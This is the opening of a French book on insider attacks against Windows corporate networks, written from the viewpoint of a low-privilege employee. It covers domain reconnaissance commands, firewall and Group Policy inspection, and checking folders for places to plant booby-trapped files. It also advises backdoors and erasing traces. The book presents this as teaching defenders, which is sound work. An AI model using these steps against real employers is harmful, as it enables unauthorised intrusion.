Vous êtes sur la page 1sur 201

Avant-propos

En tant qu’auteur de ce livre, j’ai voulu vous inspirer un sentiment de crainte et vous faire
prendre conscience de la non-sécurité de vos systèmes. Ce message vous concerne plus
particulièrement si vous êtes administrateur de système, manageur ou spécialiste de la sécurité
informatique. Mon but est de bien vous faire comprendre que beaucoup de moyens
relativement simples existent pour contourner la sécurité mise en place si celle-ci n’a pas pris
en compte toutes les possibilités techniques des utilisateurs de votre système d’information,
mais aussi de vous rassurer : des solutions intégrées existent dans l’environnement Windows.
Il y a plusieurs manières de faire passer un message clair sur la sécurité informatique et
d’expliquer ce qu’il faut faire ou ne pas faire pour sécuriser son système d’information. Pour
mieux vous expliquer comment protéger vos systèmes, j’ai choisi pour ma part de vous
donner un aperçu des possibilités de piratage depuis l’intérieur d’une entreprise. À mon sens,
il n’y a qu’en comprenant correctement le principe des différentes attaques possibles que vous
pourrez sécuriser vos systèmes de la manière la mieux adaptée à votre entreprise.
Pour cela, j’ai pris le rôle d’un utilisateur cherchant à pirater son entreprise. Pour travailler,
j’ai un compte utilisateur et une machine à disposition dans le domaine. Mon compte
d’utilisateur n’a pas de droits particuliers sur la machine ou sur le domaine, du moins au
départ.
Les chapitres de cet ouvrage sont donc construits pour vous expliquer les attaques de façon
réaliste et détaillée afin d’en comprendre les principes de fonctionnement et ainsi réagir en
conséquence pour les bloquer ou au moins les anticiper. Des contre-mesures techniques et
organisationnelles efficaces vous sont proposées et expliquées en détail à la fin de l’ouvrage.

Préambule
Les réseaux et les systèmes informatiques deviennent de plus en plus complexes et de plus en
plus grands. Ils sont pour certaines entreprises un mal nécessaire et ce qui pourrait être un
investissement se transforme en un gouffre. De cette image, découle souvent un très petit
intérêt à augmenter le budget de la sécurité informatique. Les administrateurs, eux, ont de nos
jours beaucoup de travail et de préoccupations. Ils sont mis sous pression pour obtenir des
résultats rapides en matière de déploiement ou de maintenance. Ils n’ont donc pas le temps
d’aller dans les détails lors de l’installation d’un produit ou d’une application. Ils sont
malheureusement parfois obligés de faire au plus vite puis de s’arrêter au moment où cela
fonctionne, sans avoir pris le temps d’en analyser la sécurité avant ou après l’installation. De
plus, la sécurité intérieure est souvent négligée au détriment d’une protection d’une éventuelle
menace externe.
Pourtant, si la sécurité était parfaite à l’intérieur, que pourrait vraiment faire un hacker externe
?
Différentes études montrent que la sécurité informatique d’une entreprise est dans la plupart
des cas aisément attaquable de l’intérieur, mais elles montrent aussi une nette augmentation
de ce type d’incidents, que ce soit par des utilisateurs gourmands ou frustrés par le manque de
pouvoir ou par des personnes ayant des intentions négatives telles que la vengeance,
l’espionnage, le vol ou la destruction d’informations critiques ou privées. La réalité est ainsi,
des techniques de hacking sont régulièrement employées à ces fins, les avez-vous constatées
chez vous ?
Dans une entreprise, les utilisateurs n’ayant pas de fonction d’administration informatique ont
la plupart du temps des droits limités sur leur PC. Et cela a pour but de protéger la machine
contre une installation de programme pouvant mettre en danger le réseau ou n’entrant pas
dans la politique de sécurité, si bien sûr une telle politique existe. Cela a aussi pour objectif
d’éviter à un employé d’être manipulé malgré lui par un pirate interne ou externe. Il est donc
normal de ne laisser à un utilisateur que les droits nécessaires à l’utilisation des logiciels
prévus par sa fonction.
Toutefois, il existe des outils pour contourner cette attribution de rôle pour à son tour pouvoir
tout faire de son PC ou d’un serveur. Il est même possible d’aller plus loin, par exemple,
d’obtenir les droits systèmes sur une machine ou de devenir administrateur d’un domaine
complet. Certains moyens sont purement techniques et d’autres nécessitent en plus d’agir sur
l’humain pour obtenir les autorisations recherchées.
Pour simplifier l’action des pirates, il n’est pas rare de voir des responsables informatiques
donner plus de droits que nécessaire, sans pour autant prendre en compte les risques
auxquelles ils s’exposent. Il arrive fréquemment que dans une entreprise, tous les utilisateurs
soient administrateurs de leur PC (Personal Computer), ce qui donne une voie royale pour
réaliser des actions de piratage efficaces.
De plus, les mécanismes de sécurité mis en place par Microsoft sont parfois mal compris.
Ceux qui sont considérés comme lourds ou intrusifs sont souvent désactivés ou non
configurés pour simplifier le travail. Sans ces protections pourtant activées par défaut comme
l’UAC (User Access Control) ou l’obligation d’avoir une macro signée dans un document
Office, il devient enfantin de pirater une machine, comme c’était le cas sous Windows XP.
Vous allez au fur et à mesure découvrir comment prendre le contrôle quand on est un
utilisateur avec peu ou pas du tout de droits sur une machine ou un serveur. L’ouvrage apporte
aussi des contre-mesures techniques ainsi qu’une réponse en termes de gouvernance sur la
problématique de l’internal hacking.
Les entreprises auront ainsi des moyens pour prévenir et empêcher ces attaques avant leur
survenue.

Décryptage d’une attaque réussie


Lorsque vous partez en vacances, vous commencez en général par choisir la destination ou
celle-ci est guidée par votre budget. Puis, une fois la destination validée, vous vous intéressez
à l’itinéraire, aux hôtels, jusqu’à nouveau choisir ce qu’il y a de mieux, en rapport
qualité/prix. Une fois vos choix faits, vous réservez. Puis, enfin, le jour arrive où vous partez
en vacances. Et là, sans vous en rendre compte, vous avez établi un projet en commençant par
une phase de reconnaissance. Saisissant une opportunité, vous recherchez encore plus de
détails. Voilà la meilleure manière de procéder pour ce type de projet : étudier les
opportunités, analyser en détail la ou les éventuelles solutions, pour aller encore plus dans le
détail.
Comme la métaphore précédente, l’attaque d’un système se déroule généralement en plusieurs
phases. Les premières de celles-ci sont la recherche d’informations et la prise d’empreinte.
Comme vous l’aurez compris, c’est le minimum pour la réussite de votre projet. Tous les
chefs d’État l’ont bien compris, ils travaillent énormément avec leurs agences de
renseignements bien avant qu’un conflit n’arrive sur le terrain. Les premières phrases sont
suivies de la phase d’attaque, qui, elle, est élaborée et testée très finement. Copier/coller un
script de ce livre ne suffit pas pour réussir dans les meilleures conditions ; pensez à prendre le
temps nécessaire pour tester vos futures actions comme les militaires testent un nouveau
missile. Puis, une fois l’attaque en cours de progression ou réalisée, il est intéressant de
conserver un contrôle sur les systèmes pénétrés, cela réduira le risque de recommencer une
nouvelle attaque. On réalise cela grâce à l’installation d’une porte dérobée. Enfin, on efface
nos traces, pour laisser les serveurs cibles « aussi propres que vous les avez trouvés en entrant
». L’ennemi ne doit pas savoir que nous sommes passés à l’attaque et il ne doit pas savoir qui
l’a fait s’il s’en apercevait.
Ce livre vous aidera dans toutes les tâches de ce processus. Gardez en tête qu’il n’y aura pas
de bonne attaque si vous la lancez au hasard. Préparez-vous suffisamment et testez vos
techniques, comme un magicien prépare ces tours. Finalement, la réussite de tout projet se
base sur une bonne préparation.

Décryptage de contre-mesures efficaces


Une contre-mesure efficace est une contre-mesure qui saura contrer si possible plusieurs
attaques potentielles, et ce, même si celles-ci n’ont pas encore été forcément détectées comme
étant des menaces. La défense doit être portée à 360°. Il ne s’agit pas de fermer une porte à
double tour, et de laisser une fenêtre grande ouverte. Il est aussi important d’y ajouter une
touche de gouvernance définissant les processus de contrôle, comme contrôler que toutes les
portes et les fenêtres soient bien fermées dans votre logement avant de partir en vacances.
Cette partie-là n’est pas technique mais belle et bien procédurière. Il reste à bien comprendre
les risques techniques et, pour cela, il est indispensable de comprendre les rouages de
l’internal hacking pour mettre en place une défense à la hauteur de la menace.

1. Analyse de risques réels


Pour se défendre correctement, il faut savoir ce que l’on risque. Se protéger contre l’inconnu
est très difficile dans la mesure où l’on ne souhaite pas tout bloquer. L’analyse de risques doit
donc prendre en compte les menaces réelles et pas seulement les risques repertoriés par un
référentiel, qui la plupart du temps donne volontairement des consignes très générales pour
couvrir le maximum de risques. Mais à vouloir se protéger d’un risque flou, on risque de
mettre en place des moyens techniques et procéduriers coûteux, longs et complexes, tout cela
pour ne pas forcément couvrir le risque réel.

2. Considérations techniques
Une défense doit tenir compte des aspects techniques même si cela donne une réponse moins
générale ou moins variable à une menace. Il faut, pour préparer de bonnes contre-mesures
techniques, utiliser l’analyse de risques (réels) et ainsi répondre par des moyens adaptés.
Pensez à comparer les solutions intégrées, souvent gratuites, aux solutions payantes qui
n’apportent pas toujours une vraie plus-value. Pensez à couvrir les risques à 360°. Il m’arrive
souvent de voir que pour empêcher un utilisateur d’installer un programme sur son PC, le
téléchargement est interdit et bloqué grâce à un proxy web. Mais est-ce que lorsqu’on
empêche un utilisateur de télécharger, on l’empêche vraiment d’installer une application ?
D’autres pensent que si l’utilisateur n’est pas administrateur de sa machine, il ne peut rien
installer, mais c’est faux. Il peut installer certains programmes ou utiliser des applications
portables. Il peut fabriquer ses propres programmes. Est-ce que le risque, c’est l’installation
de programmes ou est-ce que c’est l’exécution d’une application dangereuse ? C’est en
pensant à toutes ces choses-là que l’on peut considérer que l’on couvre un risque à 360°.

3. Considérations de la gouvernance
La gouvernance des systèmes est importante. Si vous ne pensez qu’en termes techniques, vous
allez passer à côté de certains fondements de la sécurité. Quelques exemples simples, si vous
voulez avoir le droit d’utiliser un proxy qui surveille les connexions Internet de vos
utilisateurs, vous devez les avertir. Cela peut être fait dans une politique de sécurité, qui
inclura le règlement d’utilisation de l’infrastructure informatique. Si la salle serveur devait
brûler, est-ce que vous sauriez comment organiser les ressources humaines et informatiques
pour remonter le plus rapidement possible un système utilisable par les gens du métier afin
qu’ils puissent travailler ? Lorsque quelqu’un quitte la société, que se passe-t-il avec ses
fichiers, ses mails, son compte, etc. ? Lorsqu’une attaque par virus est déclarée dans votre
réseau, quelles réactions ont les utilisateurs, par quel processus êtes-vous informé, quel
système permettra d’endiguer et de résoudre le problème ?
Comme vous l’aurez compris, même si la technique est très importante, elle ne doit pas être le
guide pour la mise en place d’une contre-mesure et plus globalement pour l’installation d’une
solution informatique. La gouvernance des systèmes vous aidera à prendre en compte les
risques mais tiendra aussi compte du métier et des coûts, ce qui donne aussi un résultat
beaucoup plus proche du besoin général de l’entreprise qu’une solution réaliste et applicable
en termes de sécurité.

Quelles actions, pour quel rôle ?


Vous devez, avant de rechercher des informations, savoir en quoi consistent les rôles existants
et ce qu’ils permettent de faire dans l’environnement dans lequel vous travaillez.
Il y a globalement trois rôles principaux définis : celui d’administrateur local, qui peut faire
quasiment tout sur sa machine, celui d’administrateur du domaine, qui peut quasiment tout
faire sur l’ensemble des machines de l’entreprise, et enfin, le plus répandu, celui d’utilisateur,
qui est normalement configuré pour simplement utiliser le système qu’on lui met dans les
mains, c’est-à-dire pour uniquement réaliser son travail. Il existe des variantes de ces rôles qui
sont créés à l’aide de groupes de sécurité et de règles de sécurités spécifiques souvent liées à
un rôle métier comme comptable, vendeur, technicien en informatique, etc.
À dire vrai, en contournant l’utilisation classique du système et du rôle que le responsable
informatique vous a attribué, on peut aller bien plus loin qu’il ne l’espère.

1. Qu’a le droit de faire un administrateur local ?


Par défaut un administrateur local peut faire beaucoup de choses sur sa machine, mais saviez-
vous qu’avec quelques manipulations, il peut aussi devenir système et donc consulter toute la
machine, tous les profils, tous les documents sans laisser de traces ou encore ouvrir des
fichiers sécurisés par Windows comme la SAM. Il peut aussi extraire les mots de passe
stockés sur son système, qu’ils soient d’une application, du système, par exemple, les clés de
réseaux Wi-Fi enregistrées, ou des utilisateurs locaux. Il peut modifier tous les paramètres des
systèmes directement ou indirectement. Il peut faire passer une application pour une autre de
manière transparente. Il peut rediriger des ports vers un service d’une autre machine de
manière transparente. Il peut installer ce qu’il veut. Il peut déjouer les stratégies de groupe
poussées par l’administrateur du domaine, que celles-ci soient des stratégies liées aux
machines ou des stratégies liées aux utilisateurs. Il peut définir des paramètres qui seront
utilisés par toute personne utilisant sa machine.

2. Qu’a le droit de faire un administrateur de domaine ?


Une personne étant dans le groupe de sécurité Administrateurs de l’entreprise et/ou dans le
groupe Admins de domaine peut faire beaucoup de choses, mais saviez-vous qu’il peut, en
modifiant quelques éléments, aussi faire ce qui a été décrit plus haut, mais sur toutes les
machines d’un domaine ? Il peut en plus extraire les mots de passe d’un contrôleur de
domaine, qui garde pourtant précieusement ces informations pour tous les utilisateurs. Il peut
modifier les entrées DNS pour envoyer le trafic web et tout le trafic réseau là où il le veut. Il
peut créer des certificats dignes de confiance pour le web ou pour la signature de code. Il peut
pousser l’installation et l’exécution d’applications cachées, l’installation de certificats root sur
toutes les machines du domaine. Il peut analyser et décrypter tout le trafic web, https, Lync,
Exchange... Il peut ouvrir toutes les boîtes aux lettres d’Exchange. Il peut en règle générale
décrypter tout ce qui est crypté. Toutes ces possibilités ne sont pas offertes par défaut car il
faut, pour arriver à faire tout cela, savoir comment s’y prendre et parfois contourner
l’utilisation normale de certains composants du système.

3. Qu’a le droit de faire un utilisateur ?


Un utilisateur du domaine peut faire bien plus que ne le pensent la plupart des
administrateurs.
Il peut, entres autres, consulter des informations intéressantes sur tous les utilisateurs et
ordinateurs du domaine, y compris l’appartenance aux groupes de sécurité, installer une
application, si celle-ci s’écrit dans son profil plutôt que dans Program Files, ajouter des
programmes qui démarrent lors de l’ouverture de sa session, modifier des informations dans
le registre comme le démarrage d’un programme, remplacer l’explorateur Windows par un
autre, ajouter un protocole exécutable sous le navigateur ou modifier l’association d’une
extension pour exécuter un autre. Il peut aussi installer un certificat root dans le magasin des
certificats dignes de confiance, qui sera reconnu pour la signature d’applications et pour les
pages https. Il a le droit de compiler du code, de packager et de créer des applications, pour
autant que les fichiers temporaires se trouvent dans un dossier où il a les droits d’écriture.
Quelles informations sont intéressantes ?
Comment savoir si une information est intéressante ? À dire vrai, elles le sont toutes, mais
avec différentes priorités. La priorité d’une information est liée à sa future utilisation. Si vous
souhaitez vous connecter sur un serveur via le bureau à distance alors que vous n’avez aucun
droit, vous allez devoir rechercher qui a des droits suffisants pour vous en donner. Où est le
serveur ? Quelle est son adresse IP ? Quel est son nom ? Sur quel réseau se trouve-t-il ?, etc.
Comment est-il protégé ? Y a-t-il des stratégies de groupe ou un pare-feu ? Y a t-il des logs de
sécurité ? Le but est-il de prendre le serveur en bureau à distance ou est-ce que ce n’est
qu’une étape pour y configurer quelque chose ? Y a-t-il un autre moyen de le configurer ? Ou
d’obtenir ce que l’on cherche vraiment ?
Comme vous l’aurez remarqué, vous êtes seul juge de ce qui est pertinent pour vous. Pensez à
définir un objectif clair, qui vous guidera plus facilement sur ce qu’il vous manque comme
informations pour votre attaque.

1. Type de recherche
II est important de prendre des informations avant d’agir pour augmenter vos chances de
réussite. Vous allez alors être confronté, lors de la recherche d’informations, à deux types de
recherches possibles, les recherches d’informations passives et les recherches actives.
La recherche passive consiste à lire des informations qu’on nous donne ou que l’on reçoit sans
directement se connecter à un serveur qui pourrait enregistrer notre demande d’information.
Dans le cas de l’internal hacking, cela pourrait être représenté par le fait de lire et de noter les
informations sur son propre système comme son IP, son nom, le sous-réseau dans lequel vous
êtes, etc. Ce type de recherches représente normalement un risque quasiment nul d’être
découvert. Il est donc à privilégier.
Une recherche active, quant à elle, consiste à interroger un serveur pour obtenir une
information, comme cela serait le cas avec une requête LDAP (Lightweight Directory Access
Protocol) sur un contrôleur de domaine ou encore utiliser NMap pour connaître la version de
IIS (Internet Information Manager) installée sur le serveur web de l’intranet. Avec ce type de
recherches, il y a un risque d’être logué sur un serveur, même si souvent dans le cadre de
l’internal hacking, ces logs sont noyés dans les connexions tout à fait normales d’un client
vers son intranet ou d’une machine vers Active Directory.

Rechercher une information locale ne veut pas dire que la recherche est passive. Par exemple,
si vous consultez les règles de votre logiciel spécifique qui fait office de pare-feu et
d’antivirus, il se peut très bien que celui-ci journalise localement ou sur un serveur le fait que
vous avez ouvert la console de management.
Dans certains cas vous allez devoir préparer une attaque qui n’aura pour but que la recherche
de plus d’informations. Sachez que plus les informations que vous aurez sont précises et
fiables, plus la chance de trouver un moyen efficace et redoutable pour obtenir ce que vous
voulez augmente.

2. Que faut-il noter ?


Les informations que vous rechercherez et découvrirez sur votre configuration et sur la
configuration du système de l’entreprise doivent être précieusement notées.
Pour cela, structurez-les à l’aide d’un document Excel. Définissez clairement ce que vous
avez trouvé. Chaque information peut être décisive pour la réussite d’une attaque. Nous vous
conseillons de noter au moins les informations suivantes :
 Le sous-réseau du poste client.
 Le sous-réseau des serveurs.
 L’IP du poste client.
 Les IP et les noms des serveurs importants (AD, DNS, Terminal Server, Exchange,
proxy, passerelle, serveur de fichiers, etc.).
 Les utilisateurs membres des groupes administrateurs de l’entreprise ou du domaine,
les membres du groupe administrateurs.
 Les utilisateurs membres des groupes Server Manager pour Exchange ou
CSAdministrator pour Lync.
 Le niveau de sécurité d’Office et les chemins autorisés.
 Les règles de pare-feu autorisées en entrée par défaut.
 Les informations sur les personnes à attaquer.
 Les habitudes et les préférences des personnes à attaquer.
Ce n’est qu’une base minimale, toute information supplémentaire, comme les stratégies de
groupe, les droits sur les dossiers publics et locaux, etc., peut être décisive pour une attaque
réussie.

Comment trouver les informations locales


utiles ?
La première piste à suivre pour trouver des informations utiles, c’est l’ordinateur local. Il est
une source fiable et très complète d’informations sur la configuration et les règles appliquées
par les administrateurs. Votre PC est le reflet de la sécurité globale de l’entreprise.

Il est possible que le résultat des techniques de recherche d’information décrites dans les
pages suivantes soit quelque peu différent suivant vos droits, la langue ou la version du
système que vous utilisez.

1. Configuration système
Les informations locales sont celles qui concernent la machine avec laquelle vous travaillez
ou les serveurs sur lesquels vous avez les droits de vous connecter provisoirement en tant que
consultant ou de façon permanente pour une personne du support. Dans la majorité des
entreprises, les PC sont basés sur un modèle de machine fait depuis une image et la sécurité
est centralisée, ce qui a comme avantage que si vous trouvez une faille ou un système qui
fonctionne chez vous, il devrait marcher pour toutes les futures cibles au sein de l’entreprise.
a. Informations réseau
Ouvrez la ligne de commande en exécutant cmd.exe.
Écrivez la commande :
ipconfig /all
La première partie donne des informations sur le domaine et le nom de la machine.
C:\>ipconfig /all

Configuration IP de Windows

Nom de l’hôte . . . . . . . . . . : PCLAB01


Suffixe DNS principal . . . . . . : eni-lab.fr
Type de nœud . . . . . . . . . . : Hybride
Routage IP activé . . . . . . . . : Non
Proxy WINS activé . . . . . . . . : Non
Liste de recherche du suffixe DNS.: Eni-lab.fr
Ensuite, vous trouverez votre adresse IP (sous IPv4), le masque de sous-réseau, la passerelle,
ainsi que l’adresse physique de votre carte réseau. Notez également les serveurs DNS.
Carte Ethernet vEthernet (Externe) :

Suffixe DNS propre à la connexion. :


Description. . . . . . . . . . . . : Hyper-V Virtual Ethernet Adapter #2
Adresse physique . . . . . . . . . : 24-77-03-3D-DB-9C
DHCP activé. . . . . . . . . . . . : Oui
Configuration automatique activée. : Oui
Adresse IPv6 de liaison locale. . .:
fe80::99b7:f372:8775:a112%52(préféré)
Adresse IPv4. . . . . . . . . . . .: 192.168.1.36(préféré)
Masque de sous-réseau. . . . . . . : 255.255.255.0
Bail obtenu. . . . . . . . . . . . : mardi 9 avril 2013 20:34:39
Bail expirant. . . . . . . . . . . : mercredi 10 avril 2013 20:34:38
Passerelle par défaut. . . . . . . : 192.168.1.1
Serveur DHCP . . . . . . . . . . . : 192.168.1.1
IAID DHCPv6 . . . . . . . . . . . : 874804995
DUID de client DHCPv6. . . . . . . .: 00-01-00-01-18-85-F6-5A-F0-DE-F1-
AC-A-B6
Serveurs DNS. . . . . . . . . . . : 192.168.1.1
NetBIOS sur Tcpip. . . . . . . . . : Activé

b. Variables d’environnement
Il est possible de trouver les informations sur l’environnement grâce à la commande set.
set donne les variables d’environnement, comme notre chemin de profil, APPDATA, ainsi
que le chemin du répertoire temporaire, TEMP. Il y a aussi le chemin du dossier PUBLIC où
tous les utilisateurs ont un accès en lecture et écriture, des informations pertinentes puisque
nous avons là le droit d’écriture. Nous avons aussi le serveur sur lequel nous sommes
connectés, LOGONSERVER.
C:\>set
ALLUSERSPROFILE=C:\ProgramData
APPDATA=C:\Users\test\AppData\Roaming
CommonProgramFiles=C:\Program Files\Common Files
CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
CommonProgramW6432=C:\Program Files\Common Files
COMPUTERNAME= PCLAB01
ComSpec=C:\windows\system32\cmd.exe
FP_NO_HOST_CHECK=NO
HOMEDRIVE=H:
HOMEPATH=\
HOMESHARE=\\eni-lab.fr\users$\test
LOCALAPPDATA=C:\Users\test\AppData\Local
LOGONSERVER=\\DC01
NUMBER_OF_PROCESSORS=8
OS=Windows_NT
PUBLIC=C:\Users\Public
SESSIONNAME=Console
SystemDrive=C:
SystemRoot=C:\windows
TEMP=C:\Users\test\AppData\Local\Temp
TMP=C:\Users\test\AppData\Local\Temp
UATDATA=C:\windows\CCM\UATData\D9F8C395-CAB8-491d-B8AC-179A1FE1BE77
USERDNSDOMAIN=ENI-LAB.FR
USERDOMAIN=ENI-LAB
USERDOMAIN_ROAMINGPROFILE=ENI-LAB
USERNAME=test
USERPROFILE=C:\Users\test
windir=C:\windows

c. Utilisateurs et groupes
Pour obtenir les informations sur un utilisateur, comme son appartenance aux groupes de
sécurité et la validité de son compte, ouvrez une ligne de commande et écrivez :
Net user %username% /domain
User name Administrator
Full Name Administrator
Comment Built-in account for administering the
computer/domain User’s comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 06.04.2013 14:19:41
Password expires Never
Password changeable 07.04.2013 14:19:41
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 26.05.2013 14:47:09
Logon hours allowed All
Local Group Memberships *Administrators
Global Group memberships *Schema Admins *Exchange Trusted Subs

*Organization Manageme*Domain Users


*Domain Admins *Enterprise Admins
*Group Policy Creator
The command completed successfully.
Pour un utilisateur local, c’est la même chose sans /domain.
Net user %username%
Pour connaître les utilisateurs et les groupes ayant les droits d’administration sur la machine
locale :
C:\>net localgroup administrators
Nom alias administrators
Commentaire Administrators have complete and unrestricted
access to the computer/domain
Membres

----------------------------------------------------------------
admin
Administrator
La commande s’est terminée correctement.
Ces informations vous permettent de mieux connaître l’environnement utilisateur dans lequel
vous évoluez et la configuration du système.

2. Les stratégies de groupe


Les stratégies de groupe sont des règles de sécurité forcées par l’administrateur des systèmes.
Cela se traduit souvent par des blocages lors de l’ouverture d’un programme ou d’un panneau
de configuration, ou encore par des paramètres impossibles à changer. Lors de l’application
de ces règles, l’administrateur peut choisir de les appliquer sur l’ensemble des utilisateurs
d’une machine ou à un utilisateur spécifique indépendamment de la machine qu’il utilise. Il
s’agit alors de stratégies de groupe liées à la machine ou liées à l’utilisateur.
a. Avec la console de management
Dans la mesure où vous avez le droit d’ouvrir la console MMC (Microsoft Management
Console), exécutez mmc.exe et cliquez dans le menu Fichier sur Ajouter/Supprimer un
composant logiciel enfichable. Dans la fenêtre qui s’ouvre, sélectionnez Jeu de stratégie
résultant.
Une fois la fiche ajoutée, allez dans le menu Action et cliquez sur Générer les données
RSoP.
L’assistant vous guidera pour la récolte des données. Choisissez le mode de journalisation,
avec cet ordinateur et l’utilisateur actuel.
Vous aurez ainsi la possibilité de parcourir la configuration imposée par votre administrateur.

b. En ligne de commande
Si l’accès à mmc.exe est bloqué, vous pouvez utiliser la ligne de commande pour rechercher
ce qui a été configuré par votre administrateur.
Pour cela, exécutez cmd.exe, puis exécutez GpResult :
Gpresult /z
Vous aurez ainsi le nom de la stratégie et la configuration de chaque paramètre modifiant le
système.
GPO: Default Domain Policy
Policy: PasswordComplexity
Computer Setting: Enabled
GPO: Default Domain Policy
Policy: ClearTextPassword
Computer Setting: Not Enabled
GPO: Default Domain Policy
Policy: ForceLogoffWhenHourExpire
Computer Setting: Not Enabled
GPO: Default Domain Policy
Policy: RequireLogonToChangePassword
Computer Setting: Not Enabled
GPO: Default Domain Policy
Policy: LSAAnonymousNameLookup
Computer Setting: Not Enabled
GPO: Default Domain Policy
Policy: TicketValidateClient
Computer Setting: Enabled
Si vous n’êtes pas fervent adepte de la ligne de commande pour lire le résultat, envoyez la
sortie vers un fichier html.
GpResult /z /h c:\temp\rapport.html
Le résultat sera alors une page web plus facile à lire.
c. Avec l’éditeur du registre
Le système écrit les clés de registre pour configurer les paramètres de la machine et ceux de
l’utilisateur. Ces clés sont enregistrées à quatre emplacements particuliers.
Pour les paramètres configurés par les stratégies de groupe liées à l’utilisateur, ce sont :
 CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies
 CURRENT_USER\Software\Policies
Pour les paramètres configurés par les stratégies de groupe liées à la machine, ce sont :
 LOCAL_MACHINE\SOFTWARE\Policies
 LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ Policies
Pour voir ce qui est appliqué, ouvrez l’éditeur du registre regedit.exe et visitez les sous-clés
des chemins donnés plus hauts.
Dans l’exemple ci-dessous, on voit que le gestionnaire de tâches est bloqué par une stratégie
de groupe appliquée à l’utilisateur.

Dans ce cas, on ne sait pas quel est le nom de la stratégie qui a demandé l’écriture de ce
paramètre dans le registre.

3. Le pare-feu
a. Avec le panneau de configuration
Pour avoir des informations sur les règles de pare-feu appliquées sur sa machine, ouvrez le
Panneau de configuration - Système et sécurité - Pare-feu Windows. Puis sur la gauche,
cliquez sur Paramètres avancés.
La console centrale vous indique si le pare-feu est activé et pour quel type de connexions :

Sur le menu de gauche, vous avez accès aux règles autorisées ou bloquées en entrée et en
sortie.
Dans les propriétés du pare-feu, vous trouverez le comportement par défaut de celui-ci :

Le pare-feu est en général géré par l’administrateur du système. Il n’est pas toujours possible
d’ouvrir le panneau de configuration pour en voir les propriétés.
b. En ligne de commande
Vous pouvez aussi accéder à de nombreuses informations sur le pare-feu avec la commande
NETSH.
Ouvrez une ligne de commande et écrivez :
Netsh
netsh>adv
netsh advfirewall>show
Vous aurez la possibilité de voir la configuration des éléments suivants :
show allprofiles - Affiche les propriétés de tous les profils.
show currentprofile - Affiche les propriétés du profil actif.
show domainprofile - Affiche les propriétés du domaine.
show global - Affiche les propriétés globales.
show privateprofile - Affiche les propriétés du profil privé.
show publicprofile - Affiche les propriétés du profil public.
Suivant le système d’exploitation, PowerShell permet tout aussi bien de prendre des
informations sur la configuration du pare-feu.
Ouvrez PowerShell et écrivez les commandes suivantes pour connaître toutes les commandes
de gestion du pare-feu :
Import-Module netsecurityNetSecurity
gcm *firewall*
Pour voir les règles appliquées, utilisez Get-NetFirewallRule, mais renvoyez le résultat dans
un fichier texte, sinon cela sera illisible.
Get-NetFirewallRule > c:\temp\rules.txt
Pour avoir des informations sur les profils configurés :
PS C:\> Get-NetFirewallProfile
Name : Domain
Enabled : True
DefaultInboundAction : Allow
DefaultOutboundAction : Allow
AllowInboundRules : NotConfigured
AllowLocalFirewallRules : NotConfigured
AllowLocalIPsecRules : NotConfigured
AllowUserApps : NotConfigured
AllowUserPorts : NotConfigured
AllowUnicastResponseToMulticast : NotConfigured
NotifyOnListen : True
EnableStealthModeForIPsec : NotConfigured
LogFileName : %systemroot
\system32\LogFiles\Firewall\pfirewall.log
LogMaxSizeKilobytes : 4096
LogAllowed : False
LogBlocked : False
LogIgnored : NotConfigured
DisabledInterfaceAliases : {NotConfigured}

4. Les dossiers et les fichiers


Dans une entreprise, les documents sont généralement stockés dans un dossier partagé sur un
serveur de fichiers. Il est important pour nous de savoir si les documents Office peuvent être
utilisés comme outils. Il est aussi important de connaître les chemins des dossiers où
l’utilisateur a le droit de lire, d’écrire ou encore d’exécuter des applications.
a. Dossiers publics
Les dossiers publics sont des sous-dossiers du dossier référencé dans la variable
d’environnement PUBLIC que vous avez vue auparavant en utilisant SET avec la ligne de
commande.
Vous pouvez vérifier dans ces dossiers qui a le droit de lire, écrire et exécuter une application.
Pour cela, cliquez avec le bouton droit de la souris sur le dossier, puis sur le menu Sécurité et
cliquez sur le bouton Avancé.

Le groupe particulier Creator Owner (Créateur propriétaire) y est présent, avec comme droit
Contrôle total. Cela veut dire que dès qu’un utilisateur crée un fichier ou un dossier dans cet
emplacement, il en aura le contrôle total, soit lecture, écriture, exécution et modification des
droits de sécurité.
Si vous souhaitez affecter tous les utilisateurs d’une machine en mettant un fichier dans ce
dossier, pensez à en modifier les droits pour que tous y aient accès.
Vous pouvez aussi modifier les droits d’un dossier ou d’un fichier en ligne de commande à
l’aide de cacls. Ceci vous permettra de scripter le changement dans une application ou un
document piégé.
Pour créer un dossier Test, ouvrez la ligne de commande et écrivez :
Mkdir c:\user\public\test
Puis, pour donner les droits de lecture et d’exécution pour tous les utilisateurs sur le dossier,
utilisez :
cacls "c:\users\public\test" /e /t /c /g "Tout le monde":r
Si le système est multilingue et a une base en anglais, remplacez Tout le monde par User :
cacls "c:\users\public\test" /e /t /c /g Users:r

b. Dossier temporaire
Le dossier temporaire peut être trouvé dans la variable d’environnement TEMP ou TMP à
l’aide de la commande SET. Ce dossier est utilisé par les applications comme Internet
explorer, Outlook et bien d’autres. Lorsqu’un utilisateur va ouvrir un fichier zip depuis
Outlook, les fichiers vont se décompresser dans un sous-dossier du dossier temporaire. Il est
donc intéressant de voir si ce dossier permet l’exécution d’une application. Pour ce faire, nous
pouvons vérifier les droits de la même manière que nous venons de le faire.
Allez dans le dossier qui correspond à votre utilisateur, puis cliquez avec le bouton droit de la
souris sur le dossier temporaire, choisissez l’option Propriétés puis cliquez sur l’onglet
Sécurité.

Normalement, vous avez le droit d’exécuter un logiciel.


Si vous voulez en avoir le cœur net, ouvrez la ligne de commande puis lancez la commande
suivante qui copiera CMD dans un dossier temporaire :
xcopy %systemroot%\system32\cmd.exe %temp%\test\
Allez dans le dossier temporaire qui se trouve en général dans :
C:\users\VotreNom\appdata\temp\test\
Ensuite, exécutez l’application cmd.exe, si elle s’ouvre c’est très bon signe, vous allez
pouvoir envoyer des applications piégées à vos cibles.

c. Documents Office
Un document Office peut servir à attaquer un utilisateur grâce aux macros. Celles-ci peuvent
être des outils puissants. Pour savoir dans quelle mesure elles sont utilisables, nous allons
chercher le niveau de sécurité défini par une éventuelle stratégie de groupe ainsi que les
dossiers où les macros ont les droits de s’exécuter sans être signées.
Pour cela, vous devez afficher l’onglet Développeur dans votre application Office.
Ouvrez Microsoft Word et cliquez sur Fichier - Options. Dans l’onglet Personnaliser le
ruban, cochez dans la colonne de droite le menu Développeur puis sur OK.
